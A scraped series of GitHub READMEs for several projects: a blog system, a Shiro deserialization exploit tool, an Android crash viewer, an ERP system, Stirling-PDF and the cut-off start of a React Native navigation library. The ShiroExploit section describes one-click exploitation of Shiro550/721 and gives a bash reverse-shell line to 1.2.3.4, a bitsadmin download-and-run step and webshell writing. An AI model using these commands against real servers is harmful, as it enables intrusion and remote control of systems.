[typo.css](https://github.com/sofish/typo.css) 修改 ## Telegram Bot 快捷操作 | 桌面 | Phone | Phone | | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | |  |  |  | 若要启用该功能，参考以下步骤： 1. 向 @BotFather 申请一个 Bot，得到该 Bot 的`token`，格式如`1234567890:qwertyuiopasdfghjklzxcvbnm` 2. 与该 Bot 私聊，随便发个消息，然后打开此链接`https://api.telegram.org/bot<botToken>/getUpdates`（替换链接中的 token），在`result -> message -> chat -> id`得到`chatId` 3. 将获取的`token`和`chatId`填入`application-dev.properties`，并启用`comment.notify.channel=tg` 4. 由于目前仅提供 webhook 的方式获取消息更新，所以`application-dev.properties`中的`blog.api`需要填写后端 API 的地址，并且**必须是`https`(Telegram 的要求)**，也就是说如果你没有公网 IP 或内网穿透或反向代理，那么在本地环境是无法测试的，建议直接扔服务器上 5. 国内通常情况下无法访问 TG 的 API，因此提供了两种方式 1. 正向代理：配置`http.proxy.server`，通过你的代理发送请求 2. 反向代理：可以直接使用我跑在 Cloudflare Workers 上的反代，默认配置即可。示例代码已放在`blog-api/cfworker-tg-api-open.js`，可自行搭建（**22.05.12 更新，近两天大陆绝大多数地区 `*.workers.dev` 域名已被墙，因此若仍想使用此反代方式访问 cf worker，需要将 Worker 绑定路由至自己的域名，详见[相关讨论](https://github.com/XIU2/CloudflareSpeedTest/issues/205)**） ## 开发环境 1. 创建 MySQL 数据库`nblog`，并执行`/blog-api/nblog.sql`初始化表数据 2. 修改配置信息`/blog-api/src/main/resources/application-dev.properties` 3. 安装 Redis 并启动 4. 启动后端服务 5. 分别在`blog-cms`和`blog-view`目录下执行`npm install`安装依赖 6. 分别在`blog-cms`和`blog-view`目录下执行`npm run serve`启动前后台页面 ## 注意事项 一些常见问题： - MySQL 确保数据库字符集为`utf8mb4`（”站点设置“及”文章详情“等许多表字段需要`utf8mb4`格式字符集来支持 emoji 表情，否则在导入 sql 文件时，即使成功导入，也会有部分字段内容不完整，导致前端页面渲染数据时报错） - 确保 Maven 和 NPM 能够成功导入现版本依赖，请勿升级或降低依赖版本 - 数据库中默认用户名密码为`Admin`，`123456`，因为是个人博客，没打算做修改密码的页面，可在`top.naccl.util.HashUtils`下的`main`方法手动生成密码存入数据库 - 注意修改`application-dev.properties`的配置信息 - 注意修改`token.secretKey`，否则无法保证 token 安全性 - `spring.mail.host`及`spring.mail.port`的默认配置为阿里云邮箱，其它邮箱服务商参考关键字`spring mail 服务器`（邮箱配置用于接收/发送评论提醒） - 如需部署，注意将`/blog-view/src/plugins/axios.js`和`/blog-cms/src/util/request.js`中的`baseUrl`修改为你的后端 API 地址 - 大部分个性化配置可以在后台“站点设置”中修改，小部分由于考虑到首屏加载速度（如首页大图）需要修改前端源码 ## 隐藏功能 - 在前台访问`/login`路径登录后，可以以博主身份（带有博主标识）回复评论，且不需要填写昵称和邮箱即可提交 - 在 Markdown 中加入`<meting-js server="netease" type="song" id="歌曲id" theme="#25CCF7"></meting-js>` （注意以正文形式添加，而不是代码片段）可以在文章中添加 [APlayer](https://github.com/DIYgod/APlayer) 音乐播放器，`netease`为网易云音乐，其它配置及具体用法参考 [MetingJS](https://github.com/metowolf/MetingJS) - 提供了两种隐藏文字效果：在 Markdown 中使用`@@`包住文字，文字会被渲染成“黑幕”效果，鼠标悬浮在上面时才会显示；使用`%%`包住文字，文字会被“蓝色覆盖层”遮盖，只有鼠标选中状态才会反色显示。例如：`@@隐藏文字@@`，`%%隐藏文字%%` ## LICENSE [MIT](https://github.com/Naccl/NBlog/blob/master/LICENSE) ## Thanks 感谢 [JetBrains](https://www.jetbrains.com/?from=NBlog) 提供的 Open Source License 感谢上面提到的每个开源项目

feihong-cs/ShiroExploit-Deprecated

Shiro550/Shiro721 一键化利用工具，支持多种回显方式

2020-01-23T11:25:33Z

### 2019.11.9 update： 由于当初作者开发时能力有限，导致工具本身存在着笨重及问题较多等诸多缺点。目前有很多其他的优秀工具提供了对shiro检测/利用更好的支持（如更好的回显支持，更有效的gadget与直接支持内存shell等），此工具目前已相形见绌。请各位移步其他更优秀的项目，感谢各位的使用。 ### 2019.9.20 update： 对回显方式进行了一次更新，希望现在能好用一点 ### 2020.9.12 update： 很多回显方式在本地测试OK，但是在实际环境中却不行，这个问题我不知道该怎么解决，希望有师傅可以指导下或者一起讨论下。 # ShiroExploit 支持对Shiro550（硬编码秘钥）和Shiro721（Padding Oracle）的一键化检测，支持多种回显方式 ## 使用说明 ### 第一步:按要求输入要检测的目标URL和选择漏洞类型 + ```Shiro550```无需提供rememberMe Cookie，```Shiro721```需要提供一个有效的rememberMe Cookie + 可以手工指定特定的 Key/Gadget/EchoType（支持多选），如果不指定会遍历所有的 Key/Gadget/EchoType + 复杂Http请求支持直接粘贴数据包  ### 第二步: 选择攻击方式  #### 选择 ```使用 ceye.io 进行漏洞检测``` + 可以不进行任何配置，配置文件中已经预置了 CEYE 域名和对应的 Token，当然也可以对其进行修改。 + 程序会首先使用反序列化 ```SimplePrincipalCollection``` 的方式筛选出唯一 Key，然后依次调用各个 Gadget 生成 Payload + 缺点：程序会使用 API：http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID] 查询检测结果，这个 API 有时候会无法正常访问，导致在这种方式下无法找到 Key 或者有效的 Gadget #### 选择 ```使用 dnslog.cn 进行漏洞检测``` + 可以不进行任何配置，每次启动时程序会自动从 ```dnslog.cn``` 申请一个 DNS Record。 + 程序会首先使用反序列化 ```SimplePrincipalCollection``` 的方式筛选出唯一 Key，然后依次调用各个 Gadget 生成 Payload + 缺点：少数时候 dnslog.cn 会间隔较久才显示 DNS 解析结果导致程序无法找到 Key 或者有效的 Gadget，且 dnslog.cn 只会记录最近的10条 DNS 解析记录 #### 选择 ```使用 JRMP + dnslog 进行漏洞检测``` + 需要在 VPS 上通过命令```java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]```开启HttpService/JRMPListener，并按照要求填入相应 IP 和端口 + 如果开启 HttpService/JRMPListener 时未指定端口号，则 ```HTTPService``` 默认监听 ```8080``` 端口，```JRMPListener``` 默认监听 ```8088``` 端口 + 使用 ```JRMP``` 的方式进行漏洞检测，可以显著减小 cookie 大小 + 程序会首先使用反序列化 ```SimplePrincipalCollection``` 的方式筛选出唯一 Key，然后使用 ```JRMP``` 依次为各个 Gadget 生成对应的 JRMPListener #### 选择 ```使用回显进行漏洞检测``` + 针对不出网的情况进行漏洞检测，此时可以检测的 Gadget 类型会少于使用 DNSLog 方式的 Gadget类型 + 程序会首先使用反序列化 ```SimplePrincipalCollection``` 的方式筛选出唯一 Key，然后依次判断可用的 Gadget 类型和回显方式 + 支持多种回显方式，回显方式和代码请参考 [deserizationEcho](https://github.com/feihong-cs/deserizationEcho) + 使用写文件回显方式时，可以提供一个静态资源 URL，程序会将此静态资源所在的目录当做写入目录，若不提供，则写入根目录 + 测试 vulhub 拉取的镜像及 Windows下用 Tomcat 搭建的测试环境，结果如下   ### 第三步：检测漏洞并执行命令 + 程序在判断目标应用是否存在漏洞时，窗口上部的输入框无法进行输入。当程序检测出目标应用存在漏洞时，输入框可以进行输入并执行命令。 + ```反弹shell（linux）``` 采用 ```bash -i >& /dev/tcp/1.2.3.4/443 0>&1``` 的方式反弹 shell + ```反弹shell（Windows）``` 采用 ```bitsadmin``` 下载指定 URL 的 exe 文件并执行的方式获取 shell + ```获取Webshell``` 直接在使用者给出的路径（目录需要真实存在）下写入 webshell, webshell 名称和后缀名由使用者自行指定，webshell 的内容从 config 目录下的 shell.jsp 中读取  ## 备注 在使用漏洞检测主程序或者开启 HttpService/JRMPListener 时，均需要ysoserial.jar的支持，将ysoserial.jar和ShiroExploit.jar放置在同一目录即可。 ## 致谢 感谢 [AgeloVito](https://github.com/AgeloVito) ```怕冷的企鹅``` 给予本项目的技术支持

simplepeng/SpiderMan

🔥🔥🔥 - 崩溃日志手机端显示 ，测试妹妹的最爱，开发哥哥的小棉袄

2018-04-21T05:01:51Z

# SpiderMan [](https://jitpack.io/#simplepeng/SpiderMan)    SpiderMan能为您做的事： * 在Android手机上自动显示闪退崩溃信息，直接分享给相关开发人员! * 再也不用担心测试妹妹给你重现怎样操作才能触发闪退崩溃的尴尬！ * 再也不用担心产品给你说哪儿哪儿会闪退崩溃，但是又不能场景还原的无奈！ * 再也不用担心某些国产Rom禁止异常log输出！ * 再也不用担心开发工具异常log信息输出时灵时不灵！ | Debug环境 | Share | | :-----------------------------------: | :------------------------------------------------: | |  |  | ## 引入依赖 从`v1.1.8`开始使用`jitpack`仓库，记得添加`jitpack`仓库的引用。 ```groovy maven { url 'https://jitpack.io' } ``` 在`app`的`build.gradle`引入依赖： ```groovy def spider_man = "v1.1.9" ``` ### 方式一 ```groovy debugImplementation "com.github.simplepeng.SpiderMan:spiderman:${spider_man}" releaseImplementation "com.github.simplepeng.SpiderMan:spiderman-no-op:${spider_man}" ``` ### 方式二 ```java implementation "com.github.simplepeng.SpiderMan:spiderman:${spider_man}" ``` 上面`方式一`debug环境有奔溃信息提示，release环境则没有，`方式二`都有，但是记得添加混淆。 ## 直接显示错误页面 有时候可能因为一些特殊环境下才会发生的崩溃很难复现，所以我们不得以会将一些代码放到`try/catch`中运行，这样虽然保证了可以不崩溃，但是当发生崩溃时又会很容易忽略掉错误信息。现在我们可以直接在`catch`代码块中调用`SpiderMan.show(Throwable e)`方法，这样就可以直接显示崩溃提示页面。 ```java try { String text = null; text.toUpperCase(); } catch (Exception e) { SpiderMan.show(e); } ``` ## Crash回调 发生crash时，如果你希望能拿到异常信息，保存到本地或者其他自定义操作，那么你可以使用下面的回调方法。 ```java //回调crash SpiderMan.setOnCrashListener(new SpiderMan.OnCrashListener() { @Override public void onCrash(Thread t, Throwable ex) { saveCrash(t, ex); } }); ``` `SpiderManUtils`提供了一些封装好的方法，例如`saveTextToFile`，`parseCrash`，自行按需使用。 如果release也需要回调，请使用release回调库，从`1.1.9`开始提供。 ```groovy releaseImplementation "com.github.simplepeng.SpiderMan:spiderman-callback:${spider_man}" ``` ## 冲突 ### androidx 项目已经依赖了`androidx.appcompat:appcompat`包，如果产生冲突请使用下面的方式依赖。 ```groovy debugImplementation("com.github.simplepeng.SpiderMan:spiderman:${spider_man}") { exclude group: "androidx.appcompat" } releaseImplementation("com.github.simplepeng.SpiderMan:spiderman-no-op:${spider_man}") { exclude group: "androidx.appcompat" } ``` ### support 项目已经依赖了`com.android.support:appcompat-v7`包，如果产生冲突请使用下面的方式依赖。 ```groovy debugImplementation("com.github.simplepeng.SpiderMan:spiderman:${spider_man}") { exclude group: "com.android.support" } releaseImplementation("com.github.simplepeng.SpiderMan:spiderman-no-op:${spider_man}") { exclude group: "com.android.support" } ``` ## 混淆 ```java -keep class com.simple.spiderman.** { *; } -keepnames class com.simple.spiderman.** { *; } -keep public class * extends android.app.Activity -keep class * implements Android.os.Parcelable { public static final Android.os.Parcelable$Creator *; } # support -keep public class * extends android.support.annotation.** { *; } -keep public class * extends android.support.v4.content.FileProvider # androidx -keep public class * extends androidx.annotation.** { *; } -keep public class * extends androidx.core.content.FileProvider ``` ## 自定义界面样式 ```java SpiderMan.setTheme(R.style.SpiderManTheme_Dark); ``` `SpiderMan`内置了两种主题样式`light`和`dark`。 | light | dark | custom | | :--------------------------------------------------: | :--------------------------------------------------: | :--------------------------------------------------: | |  |  |  | 所有自定义属性定义在`attrs.xml`中 * smToolbar：toolbar的背景色 * smToolbarText：toolb title的颜色 * smToolbarShareText：分享文字按钮的颜色 * smContentBackground：toolb下方内容的背景色 * smIdentText：标签名字的颜色 * smDescText：标签描述的颜色 具体可以参考`app`中的用法。 ## 赞助 如果您觉得`SpideMan`帮助了您，可选择精准扶贫🙇🙇🙇 您的支持是作者继续努力创作的动力😁😁😁 萌戳下方链接精准扶贫⤵️⤵️⤵️ **[扶贫方式](https://simplepeng.github.io/merge_pay_code/)** ## 技术支持Q群：1078185041 <img src="statics/q_group.jpg" width="270px" height="370px"> ## 版本迭代 * v1.1.9：增加`crash-callback`module，升级gradle版本 * v1.1.8：使用`jitpack`仓库 * v1.1.7： 自动初始化 * v1.1.6： 解决view id重名引发的bug * v1.1.5： 增加`cpu-abi`，`versionCode`，`versionName`输出 * v1.1.4： 切换到androidx * v1.1.3： change minSdkVersion to 14 * v1.1.2： 解决FileProvider file_path重名bug(bug来源LuckSiege/PictureSelector) * v1.1.1： 新增直接显示错误页面的方法`SpiderMan.show(Throwable e)`，优化错误类型 * v1.1.0： 增加自定义界面主题和国际化 * v1.0.9： 增加appcompat包冲突解决方案 * v1.0.8： 发现很多小伙伴不会代理异常收集，所以删除了异常回调 * v1.0.7： 删除spiderman-no-op never-crash，优化报错类型显示 * v1.0.6： 增加spiderman-no-op * v1.0.5： 奔溃文本分享美化排版 * v1.0.4： 崩溃输出改为error级别 * v1.0.3： 增加 拷贝/分享 崩溃文字/图片信息 * v1.0.2： 重构，新增设备信息 * v1.0.1： 去除 allowBackup，label * v1.0.0： 首次上传

jishenghua/jshERP

华夏ERP基于SpringBoot框架和SaaS模式，立志为中小企业提供开源好用的ERP软件，目前专注进销存+财务功能。主要模块有零售管理、采购管理、销售管理、仓库管理、财务管理、报表查询、系统管理等。支持预付款、收入支出、仓库调拨、组装拆卸、订单等特色功能。拥有库存状况、出入库统计等报表。同时对角色和权限进行了细致全面控制，精确到每个按钮和菜单。

2016-09-20T04:51:39Z

# 项目总述 * 很多人说华夏ERP（英文名：jshERP）是目前人气领先的国产ERP系统 * 虽然目前只有进销存+财务+生产的功能，但后面将会推出ERP的全部功能，有兴趣请帮点一下 **Star** 哦 * **官网地址：http://www.huaxiaerp.com 商务或技术交流，请联系QQ：752718920 微信：shenhua861584** # 网络版介绍 * 推荐使用网络版（158元1年）淘宝链接：https://item.taobao.com/item.htm?id=674169489573 * 平台地址：http://cloud.huaxiaerp.com 欢迎大家注册租户进行使用 * 网络版手机端请扫描下方二维码    # 定制和插件 * 如有ERP私人定制需求，请将需求整理成文档，发给邮箱： **752718920@qq.com** ，我会及时回复哒 * 如需更多功能，欢迎购买作者小店的插件 https://shop104070207.taobao.com/ 谢谢支持 # 开发初衷 * 华夏ERP立志为中小企业提供开源好用的ERP软件，降低企业的信息化成本 * 个人开发者也可以使用华夏ERP进行二次开发，加快完成开发任务 * 初学JAVA的小伙伴可以下载源代码来进行学习交流 # 技术框架 * 核心框架：SpringBoot 2.0.0 * 持久层框架：Mybatis 1.3.2 * 日志管理：SLF4J 1.7 * 前端框架：Vue 2.6.10 * UI框架: Ant-Design-Vue 1.5.2 * 模板框架: Jeecg-Boot 2.2.0 * 项目管理框架: Maven 3.2.3 # 开发环境 建议开发者使用以下环境，可以避免版本带来的问题 * IDE: IntelliJ IDEA 2019.2+和JetBrains WebStorm 2019.3+ * DB: Mysql 5.7.33 * JDK: JDK 1.8 * Node: Node 16.16.0 * Maven: Maven 3.2.3+ * Redis: 6.2.1 * Nginx: 1.12.2 # 服务器环境 * 数据库：Mysql5.7.33 * JAVA平台：JRE1.8 * Redis库：redis6.2.1 * Nginx代理：nginx1.12.2 * 操作系统：Windows、Linux等 # 配套资料 * 需要用户手册请访问这里 https://www.huaxiaerp.com/thread-393-1-1.html * 喜欢视频教程可以看这里 https://space.bilibili.com/540003552/channel/series * 为方便大家搭建运行环境，分享了下载地址 https://pan.baidu.com/s/1jlild9uyGdQ7H2yaMx76zw  提取码:814g * 不会打包的小伙伴，请下载此打包后的文件 https://share.weiyun.com/NDJNLhry 密码：vd3aig * 不会部署的小伙伴，请参考部署教程 http://www.huaxiaerp.com/thread-177-1-1.html * 部署后登录系统的默认租户账号：jsh，默认超管账户：admin，默认密码均为：123456 # 开源说明 * 本系统100%开源，遵守GPL-3.0协议 # 系统美图 * 首页  * 零售管理  * 采购管理  * 销售管理  * 仓库管理  * 财务管理  * 报表查询  * 商品管理  * 基本资料  * 系统管理  # 如何支持 * 开源不易，坚持更难！如果您觉得华夏ERP不错，不用请作者喝咖啡。 * 您可以将我们的云平台地址：https://cloud.huaxiaerp.com 发给您的家人或朋友，只要是开店的、办厂的、做批发的都可以用得上。 * 您可以到我们自营的拼多多商城进行支持：https://mobile.pinduoduo.com/mall_page.html?mall_id=375313371 * 以上将是对我们开源最大的支持！在此表示感谢！

Stirling-Tools/Stirling-PDF

#1 Locally hosted web application that allows you to perform various operations on PDF files

2023-01-27T18:22:42Z

<p align="center"><img src="https://raw.githubusercontent.com/Stirling-Tools/Stirling-PDF/main/docs/stirling.png" width="80" ></p> <h1 align="center">Stirling-PDF</h1> [](https://hub.docker.com/r/frooodle/s-pdf) [](https://discord.gg/Cn8pWhQRxZ) [](https://github.com/Stirling-Tools/Stirling-PDF/) [](https://github.com/Stirling-Tools/stirling-pdf) [](https://www.paypal.com/paypalme/froodleplex) [](https://github.com/sponsors/Frooodle) [](https://cloud.digitalocean.com/apps/new?repo=https://github.com/Stirling-Tools/Stirling-PDF/tree/digitalOcean&refcode=c3210994b1af) This is a robust, locally hosted web-based PDF manipulation tool using Docker. It enables you to carry out various operations on PDF files, including splitting, merging, converting, reorganizing, adding images, rotating, compressing, and more. This locally hosted web application has evolved to encompass a comprehensive set of features, addressing all your PDF requirements. Stirling PDF does not initiate any outbound calls for record-keeping or tracking purposes. All files and PDFs exist either exclusively on the client side, reside in server memory only during task execution, or temporarily reside in a file solely for the execution of the task. Any file downloaded by the user will have been deleted from the server by that point.  ## Features - Dark mode support. - Custom download options (see [here](https://github.com/Stirling-Tools/Stirling-PDF/blob/main/images/settings.png) for example) - Parallel file processing and downloads - API for integration with external scripts - Optional Login and Authentication support (see [here](https://github.com/Stirling-Tools/Stirling-PDF/tree/main#login-authentication) for documentation) ## **PDF Features** ### **Page Operations** - View and modify PDFs - View multi page PDFs with custom viewing sorting and searching. Plus on page edit features like annotate, draw and adding text and images. (Using PDF.js with Joxit and Liberation.Liberation fonts) - Full interactive GUI for merging/splitting/rotating/moving PDFs and their pages. - Merge multiple PDFs together into a single resultant file. - Split PDFs into multiple files at specified page numbers or extract all pages as individual files. - Reorganize PDF pages into different orders. - Rotate PDFs in 90-degree increments. - Remove pages. - Multi-page layout (Format PDFs into a multi-paged page). - Scale page contents size by set %. - Adjust Contrast. - Crop PDF. - Auto Split PDF (With physically scanned page dividers). - Extract page(s). - Convert PDF to a single page. ### **Conversion Operations** - Convert PDFs to and from images. - Convert any common file to PDF (using LibreOffice). - Convert PDF to Word/Powerpoint/Others (using LibreOffice). - Convert HTML to PDF. - URL to PDF. - Markdown to PDF. ### **Security & Permissions** - Add and remove passwords. - Change/set PDF Permissions. - Add watermark(s). - Certify/sign PDFs. - Sanitize PDFs. - Auto-redact text. ### **Other Operations** - Add/Generate/Write signatures. - Repair PDFs. - Detect and remove blank pages. - Compare 2 PDFs and show differences in text. - Add images to PDFs. - Compress PDFs to decrease their filesize (Using OCRMyPDF). - Extract images from PDF. - Extract images from Scans. - Add page numbers. - Auto rename file by detecting PDF header text. - OCR on PDF (Using OCRMyPDF). - PDF/A conversion (Using OCRMyPDF). - Edit metadata. - Flatten PDFs. - Get all information on a PDF to view or export as JSON. For a overview of the tasks and the technology each uses please view [Endpoint-groups.md](https://github.com/Stirling-Tools/Stirling-PDF/blob/main/Endpoint-groups.md) Demo of the app is available [here](https://stirlingpdf.io). username: demo, password: demo ## Technologies used - Spring Boot + Thymeleaf - [PDFBox](https://github.com/apache/pdfbox/tree/trunk) - [LibreOffice](https://www.libreoffice.org/discover/libreoffice/) for advanced conversions - [OcrMyPdf](https://github.com/ocrmypdf/OCRmyPDF) - HTML, CSS, JavaScript - Docker - [PDF.js](https://github.com/mozilla/pdf.js) - [PDF-LIB.js](https://github.com/Hopding/pdf-lib) ## How to use ### Locally Please view https://github.com/Stirling-Tools/Stirling-PDF/blob/main/LocalRunGuide.md ### Docker / Podman https://hub.docker.com/r/frooodle/s-pdf Stirling PDF has 2 different versions, a Full version and ultra-Lite version. Depending on the types of features you use you may want a smaller image to save on space. To see what the different versions offer please look at our [version mapping](https://github.com/Stirling-Tools/Stirling-PDF/blob/main/Version-groups.md) For people that don't mind about space optimization just use the latest tag.   Docker Run ```bash docker run -d \ -p 8080:8080 \ -v /location/of/trainingData:/usr/share/tessdata \ -v /location/of/extraConfigs:/configs \ -v /location/of/logs:/logs \ -e DOCKER_ENABLE_SECURITY=false \ -e INSTALL_BOOK_AND_ADVANCED_HTML_OPS=false \ -e LANGS=en_GB \ --name stirling-pdf \ frooodle/s-pdf:latest Can also add these for customisation but are not required -v /location/of/customFiles:/customFiles \ ``` Docker Compose ```yaml version: '3.3' services: stirling-pdf: image: frooodle/s-pdf:latest ports: - '8080:8080' volumes: - /location/of/trainingData:/usr/share/tessdata #Required for extra OCR languages - /location/of/extraConfigs:/configs # - /location/of/customFiles:/customFiles/ # - /location/of/logs:/logs/ environment: - DOCKER_ENABLE_SECURITY=false - INSTALL_BOOK_AND_ADVANCED_HTML_OPS=false - LANGS=en_GB ``` Note: Podman is CLI-compatible with Docker, so simply replace "docker" with "podman". ## Enable OCR/Compression feature Please view https://github.com/Stirling-Tools/Stirling-PDF/blob/main/HowToUseOCR.md ## Supported Languages Stirling PDF currently supports 27! | Language | Progress | | ------------------------------------------- | -------------------------------------- | | English (English) (en_GB) |  | | English (US) (en_US) |  | | Arabic (العربية) (ar_AR) |  | | German (Deutsch) (de_DE) |  | | French (Français) (fr_FR) |  | | Spanish (Español) (es_ES) |  | | Simplified Chinese (简体中文) (zh_CN) |  | | Traditional Chinese (繁體中文) (zh_TW) |  | | Catalan (Català) (ca_CA) |  | | Italian (Italiano) (it_IT) |  | | Swedish (Svenska) (sv_SE) |  | | Polish (Polski) (pl_PL) |  | | Romanian (Română) (ro_RO) |  | | Korean (한국어) (ko_KR) |  | | Portuguese Brazilian (Português) (pt_BR) |  | | Russian (Русский) (ru_RU) |  | | Basque (Euskara) (eu_ES) |  | | Japanese (日本語) (ja_JP) |  | | Dutch (Nederlands) (nl_NL) |  | | Greek (Ελληνικά) (el_GR) |  | | Turkish (Türkçe) (tr_TR) |  | | Indonesia (Bahasa Indonesia) (id_ID) |  | | Hindi (हिंदी) (hi_IN) |  | | Hungarian (Magyar) (hu_HU) |  | | Bulgarian (Български) (bg_BG) |  | | Sebian Latin alphabet (Srpski) (sr_LATN_RS) |  | | Ukrainian (Українська) (uk_UA) |  | ## Contributing (creating issues, translations, fixing bugs, etc.) Please see our [Contributing Guide](CONTRIBUTING.md)! ## Customisation Stirling PDF allows easy customization of the app. Includes things like - Custom application name - Custom slogans, icons, HTML, images CSS etc (via file overrides) There are two options for this, either using the generated settings file ``settings.yml`` This file is located in the ``/configs`` directory and follows standard YAML formatting Environment variables are also supported and would override the settings file For example in the settings.yml you have ```yaml system: defaultLocale: 'en-US' ``` To have this via an environment variable you would have ``SYSTEM_DEFAULTLOCALE`` The Current list of settings is ```yaml security: enableLogin: false # set to 'true' to enable login csrfDisabled: true system: defaultLocale: 'en-US' # Set the default language (e.g. 'de-DE', 'fr-FR', etc) googlevisibility: false # 'true' to allow Google visibility (via robots.txt), 'false' to disallow customStaticFilePath: '/customFiles/static/' # Directory path for custom static files showUpdate: true # see when a new update is available showUpdateOnlyAdmin: false # Only admins can see when a new update is available, depending on showUpdate it must be set to 'true' customHTMLFiles: false # enable to have files placed in /customFiles/templates override the existing template html files #ui: # appName: exampleAppName # Application's visible name # homeDescription: I am a description # Short description or tagline shown on homepage. # appNameNavbar: navbarName # Name displayed on the navigation bar endpoints: toRemove: [] # List endpoints to disable (e.g. ['img-to-pdf', 'remove-pages']) groupsToRemove: [] # List groups to disable (e.g. ['LibreOffice']) metrics: enabled: true # 'true' to enable Info APIs endpoints (view http://localhost:8080/swagger-ui/index.html#/API to learn more), 'false' to disable ``` There is an additional config file ``/configs/custom_settings.yml`` were users familiar with java and spring application.properties can input their own settings on-top of Stirling-PDFs existing ones ### Extra notes - Endpoints. Currently, the endpoints ENDPOINTS_TO_REMOVE and GROUPS_TO_REMOVE can include comma separate lists of endpoints and groups to disable as example ENDPOINTS_TO_REMOVE=img-to-pdf,remove-pages would disable both image-to-pdf and remove pages, GROUPS_TO_REMOVE=LibreOffice Would disable all things that use LibreOffice. You can see a list of all endpoints and groups [here](https://github.com/Stirling-Tools/Stirling-PDF/blob/main/Endpoint-groups.md) - customStaticFilePath. Customise static files such as the app logo by placing files in the /customFiles/static/ directory. An example of customising app logo is placing a /customFiles/static/favicon.svg to override current SVG. This can be used to change any images/icons/css/fonts/js etc in Stirling-PDF ### Environment only parameters - ``SYSTEM_ROOTURIPATH`` ie set to ``/pdf-app`` to Set the application's root URI to ``localhost:8080/pdf-app`` - ``SYSTEM_CONNECTIONTIMEOUTMINUTES`` to set custom connection timeout values - ``DOCKER_ENABLE_SECURITY`` to tell docker to download security jar (required as true for auth login) - ``INSTALL_BOOK_AND_ADVANCED_HTML_OPS`` to download calibre onto stirling-pdf enabling pdf to/from book and advanced html conversion - ``LANGS`` to define custom font libraries to install for use for document conversions ## API For those wanting to use Stirling-PDFs backend API to link with their own custom scripting to edit PDFs you can view all existing API documentation [here](https://app.swaggerhub.com/apis-docs/Stirling-Tools/Stirling-PDF/) or navigate to /swagger-ui/index.html of your stirling-pdf instance for your versions documentation (Or by following the API button in your settings of Stirling-PDF) ## Login authentication  ### Prerequisites: - User must have the folder ./configs volumed within docker so that it is retained during updates. - Docker users must download the security jar version by setting ``DOCKER_ENABLE_SECURITY`` to ``true`` in environment variables. - Then either enable login via the settings.yml file or via setting ``SECURITY_ENABLE_LOGIN`` to ``true`` - Now the initial user will be generated with username ``admin`` and password ``stirling``. On login you will be forced to change the password to a new one. You can also use the environment variables ``SECURITY_INITIALLOGIN_USERNAME`` and ``SECURITY_INITIALLOGIN_PASSWORD`` to set your own straight away (Recommended to remove them after user creation). Once the above has been done, on restart, a new stirling-pdf-DB.mv.db will show if everything worked. When you login to Stirling PDF you will be redirected to /login page to login with those default credentials. After login everything should function as normal To access your account settings go to Account settings in the settings cog menu (top right in navbar) This Account settings menu is also where you find your API key. To add new users go to the bottom of Account settings and hit 'Admin Settings', here you can add new users. The different roles mentioned within this are for rate limiting. This is a Work in progress which will be expanding on more in future For API usage you must provide a header with 'X-API-Key' and the associated API key for that user. ## FAQ ### Q1: What are your planned features? - Progress bar/Tracking - Full custom logic pipelines to combine multiple operations together. - Folder support with auto scanning to perform operations on - Redact text (Via UI not just automated way) - Add Forms - Multi page layout (Stich PDF pages together) support x rows y columns and custom page sizing - Fill forms manually or automatically ### Q2: Why is my application downloading .htm files? This is an issue caused commonly by your NGINX configuration. The default file upload size for NGINX is 1MB, you need to add the following in your Nginx sites-available file. ``client_max_body_size SIZE;`` Where "SIZE" is 50M for example for 50MB files. ### Q3: Why is my download timing out NGINX has timeout values by default so if you are running Stirling-PDF behind NGINX you may need to set a timeout value such as adding the config ``proxy_read_timeout 3600;``

airbnb/native-navigation

Native navigation library for React Native applications

2016-09-16T17:16:56Z

# Native Navigation [](https://gitter.im/airbnb/native-navigation?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) [](https://www.npmjs.com/package/native-navigation) [](https://www.npmjs.com/package/native-navigation) [](https://travis-ci.org/airbnb/native-navigation) ## DISCLAIMER **This project is currently in beta**. Many of the core APIs are subject to change, and we do not consider this project "Production Ready" until it hits a 1.0 release. We encourage people to try this library out and provide us feedback as we get it to a stable state we are confident in, but not to rely on it for production use until then. Read more about our [Roadmap to 1.0](/docs/roadmap.md) ## Contents - [Installation](#installation) - [Running the Example Project](#running-the-example-project) - [Guides](#guides) - [API Documentation](#api-documentation) - [Related Projects and Alternatives](#related-projects-and-alternatives) - [Contributing](#contributing) - [FAQ](#faq) - [License](#license) ## Installation See the [Installation Guide](/docs/installation.md) ## Running the Example Project To run the example project, first clone this repo: ```bash git clone https://github.com/airbnb/native-navigation.git cd native-navigation ``` Both [`npm`](https://nodejs.org/) and the ruby [`bundler`](http://bundler.io/) gem are needed to run the project. ```bash npm install ``` ```bash npm start ``` Then, in another CLI window: To run on iOS: `npm run run:ios` To run on Android: `npm run run:android` ## [Guides](/docs/guides/README.md) - [Basic Usage](/docs/guides/basic-usage.md) - [Integrating with existing apps](/docs/guides/integrating-with-existing-apps.md) - [Custom Navigation Implementations](/docs/guides/custom-navigation-implementations.md) - [Tabs](/docs/guides/tabs.md) - [Deep Linking](/docs/guides/deep-linking.md) - [Platform Differences](/docs/guides/platform-differences.md) - [Project Structure](/docs/guides/project-structure.md) - [Shared Element Transitions](/docs/guides/shared-element-transitions.md) ## [API Documentation](/docs/api/README.md) - [`Navigator.registerScreen(...)`](/docs/api/navigator/registerScreen.md) - [`Navigator.push(...)`](/docs/api/navigator/push.md) - [`Navigator.present(...)`](/docs/api/navigator/present.md) - [`Navigator.pop(...)`](/docs/api/navigator/pop.md) - [`Navigator.dismiss(...)`](/docs/api/navigator/dismiss.md) - [`Config`](/docs/api/navigator-config.md) - [`Spacer`](/docs/api/navigator-spacer.md) - [`Tab`](/docs/api/navigator-tab.md) - [`TabBar`](/docs/api/navigator-tab-bar.md) - [`SharedElement`](/docs/api/navigator-shared-element.md) - [`SharedElementGroup`](/docs/api/navigator-shared-element-group.md) ## Related Projects and Alternatives Native Navigation is a navigation library for the React Native platform. There are many navigation libraries in the React Native ecosystem. Native Navigation is unique in that it is built on top of the iOS and Android platform navigational components, and is thus more "native" than most other options which implement navigation from scratch in JavaScript on top of base React Native components like `View` and `Animated`. [React Native Navigation](https://github.com/wix/react-native-navigation) by Wix engineering is an alternative library that uses "Native" navigation components of each platform, and has been around longer than Native Navigation. If you need a stable / production-ready navigation library *today* that uses native platform based navigation components, we recommend you check this library out. If you 